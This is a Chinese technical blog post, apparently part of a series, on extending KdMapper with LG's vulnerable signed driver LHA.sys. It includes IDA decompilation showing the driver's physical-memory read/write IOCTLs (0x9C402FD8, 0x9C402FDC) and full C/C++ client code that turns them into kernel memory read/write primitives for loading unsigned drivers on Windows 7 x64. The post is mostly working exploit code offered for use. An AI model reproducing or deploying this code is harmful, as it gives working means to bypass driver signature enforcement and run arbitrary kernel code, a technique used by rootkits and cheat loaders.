KdMapper扩展实现之LG(LHA.sys)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | LHA.sys |
时间戳 | 5C255B03 |
MD5 | 748CF64B95CA83ABC35762AD2C25458F |
文件版本 | 1.1.1811.2101 |
设备名称 | \\.\{E8F2FF20-6AF7-4914-9398-CE2132FE170F} |
读物理内存 | 0x9C402FD8 |
写物理内存 | 0x9C402FDC |
Windows 7 | 支持 |
Windows 10 | 不支持 |
Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
PVOID v3; // rax
NTSTATUS result; // eax
PDEVICE_OBJECT DeviceObject; // [rsp+50h] [rbp-128h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+58h] [rbp-120h] BYREF
UNICODE_STRING DefaultSDDLString; // [rsp+68h] [rbp-110h] BYREF
struct _UNICODE_STRING SymbolicLinkName; // [rsp+78h] [rbp-100h] BYREF
WCHAR SourceString[48]; // [rsp+90h] [rbp-E8h] BYREF
WCHAR Dst[56]; // [rsp+F0h] [rbp-88h] BYREF
memmove(SourceString, L"\\Device\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}", 0x5Eui64);
memmove(Dst, L"\\DosDevices\\{E8F2FF20-6AF7-4914-9398-CE2132FE170F}", 0x66ui64);
v3 = MmAllocateNonCachedMemory(0x2000ui64);
::Dst = v3;
if (!v3)
return -1073741670;
memset(v3, 255, 0x2000ui64);
RtlInitUnicodeString(&DestinationString, SourceString);
RtlInitUnicodeString(&SymbolicLinkName, Dst);
RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");
result = WdmlibIoCreateDeviceSecure(
DriverObject,
0,
&DestinationString,
0x22u,
0x100u,
0,
&DefaultSDDLString,
&DeviceClassGuid,
&DeviceObject);
if (result >= 0)
{
byte_15334 = 1;
::DeviceObject = DeviceObject;
IoWorkItem = IoAllocateWorkItem(DeviceObject);
if (!IoWorkItem)
{
IoDeleteDevice(::DeviceObject);
return -1073741670;
}
result = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if (result >= 0)
{
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_111A4;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_111CC;
SpinLock = 0i64;
result = 0;
}
}
return result;
}
3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
_IO_STACK_LOCATION* pIosp; // rax
unsigned int nIoControlCode; // ecx
__int64 nInputBufferLength; // rdx
__int64 nOutputBufferLength; // r8
char* pSystemBuffer; // rsi
char* ntStatus; // rdi
SIZE_T nMappedIoSpaceSize; // rbx
_DWORD* pMappedIoSpaceAddresssV16; // rcx
_BYTE* pMappedIoSpaceAddresss; // rax
SIZE_T nMappedIoSpaceSizeV25; // r12
PVOID pMappedIoSpaceAddresssV27; // rax
char* pSourceAddress; // rdx
void* pMappedIoSpaceAddresssV29; // rbx
PHYSICAL_ADDRESS pPhysicalAddress; // rcx
SIZE_T nLoopCount; // r8
signed __int64 pAddressOffset; // rdx
PHYSICAL_ADDRESS PhysicalAddress; // [rsp+58h] [rbp+10h] BYREF
pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
pSystemBuffer = (char*)pIrp->AssociatedIrp.SystemBuffer;
ntStatus = 0i64;
if (nIoControlCode > 0x9C403020)
{
LABEL_17:
LODWORD(pIrp->IoStatus.Information) = nMappedIoSpaceSize;
goto LABEL_167;
......
}
if (nIoControlCode > 0x9C402FB0)
{
if (nIoControlCode <= 0x9C402FD0)
{
......
LABEL_63:
pMappedIoSpaceAddresssV16 = pMappedIoSpaceAddresss;
LABEL_48:
MmUnmapIoSpace(pMappedIoSpaceAddresssV16, nMappedIoSpaceSize);
goto LABEL_17;
LABEL_72:
pMappedIoSpaceAddresssV29 = pMappedIoSpaceAddresssV27;
memmove(pMappedIoSpaceAddresssV27, pSourceAddress, nMappedIoSpaceSizeV25);
MmUnmapIoSpace(pMappedIoSpaceAddresssV29, nMappedIoSpaceSizeV25);
LODWORD(pIrp->IoStatus.Information) = nMappedIoSpaceSizeV25;
goto LABEL_167;
}
switch (nIoControlCode)
{
case 0x9C402FD4:
......
case 0x9C402FD8:
nMappedIoSpaceSize = *((unsigned int*)pSystemBuffer + 2);// //读物理内存
LODWORD(pIrp->IoStatus.Information) = 0;
if ((unsigned int)nInputBufferLength < 0xC
|| (unsigned int)nOutputBufferLength < (unsigned int)nMappedIoSpaceSize)
{
goto LABEL_127;
}
pMappedIoSpaceAddresss = MmMapIoSpace(*(PHYSICAL_ADDRESS*)pSystemBuffer, nMappedIoSpaceSize, MmNonCached);
if ((_DWORD)nMappedIoSpaceSize)
{
nLoopCount = nMappedIoSpaceSize;
pAddressOffset = pMappedIoSpaceAddresss - pSystemBuffer;
do
{
*pSystemBuffer = pSystemBuffer[pAddressOffset];
++pSystemBuffer;
--nLoopCount;
} while (nLoopCount);
}
goto LABEL_63;
case 0x9C402FDC:
pPhysicalAddress = *(PHYSICAL_ADDRESS*)pSystemBuffer;// 写物理内存
nMappedIoSpaceSizeV25 = *((unsigned int*)pSystemBuffer + 2);
LODWORD(pIrp->IoStatus.Information) = 0;
if ((unsigned int)nInputBufferLength < 0xC)
goto LABEL_127;
pMappedIoSpaceAddresssV27 = MmMapIoSpace(pPhysicalAddress, nMappedIoSpaceSizeV25, MmNonCached);
pSourceAddress = pSystemBuffer + 12;
goto LABEL_72;
}
}
......
LABEL_167:
pIrp->IoStatus.Status = (int)ntStatus;
IofCompleteRequest(pIrp, 0);
return (unsigned int)ntStatus;
}
其中读取物理内存 ControlCode 为 0x9C402FD8,写入物理内存为 0x9C402FDC。
3.4 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4. 代码实现
4.1 .h文件
#pragma pack(push)
#pragma pack(1)
typedef struct _LHA_PHYSICAL_MEMORY_INFO {
PHYSICAL_ADDRESS PhysicalAddress;
ULONG Length;
} LHA_READ_WRITE_PHYSICAL_MEMORY_INFO, *PLHA_READ_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define LHA_DEVICE_TYPE (DWORD)0x9C40
#define LHA_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0xBF6
#define LHA_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0xBF7
#define IOCTL_LHA_READ_PHYSICAL_MEMORY \
CTL_CODE(LHA_DEVICE_TYPE, LHA_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402FD8
#define IOCTL_LHA_WRITE_PHYSICAL_MEMORY \
CTL_CODE(LHA_DEVICE_TYPE, LHA_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402FDC
4.2 .c文件
NTSTATUS lg_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL lg_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
BOOL WINAPI lg_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
LHA_READ_WRITE_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.Length = NumberOfBytes;
request.PhysicalAddress.QuadPart = PhysicalAddress;
__try {
if (DoWrite) {
ULONG nAllocateBufferLength = sizeof(LHA_READ_WRITE_PHYSICAL_MEMORY_INFO) + NumberOfBytes;
PBYTE pBufferWrite = (PBYTE)malloc(nAllocateBufferLength);
if (pBufferWrite)
{
RtlZeroMemory(pBufferWrite, nAllocateBufferLength);
RtlCopyMemory(pBufferWrite, &request, sizeof(request));
RtlCopyMemory((PBYTE)pBufferWrite + sizeof(request), Buffer, NumberOfBytes);
bResult = SuperCallDriver(DeviceHandle,
IOCTL_LHA_WRITE_PHYSICAL_MEMORY,
pBufferWrite,
nAllocateBufferLength,
0,
0);
}
else
{
Log(L"[!] Write Physical Memory Allocate Temp Memory Failed" << std::endl);
}
}
else {
bResult = SuperCallDriver(DeviceHandle,
IOCTL_LHA_READ_PHYSICAL_MEMORY,
&request,
sizeof(request),
Buffer,
NumberOfBytes);
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error ReadWritePhysicalMemory Exception!" << std::endl);
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI lg_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI lg_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI lg_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI lg_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
5. 运行效果
Windows7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
6.特别提示
使用winring0x64.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。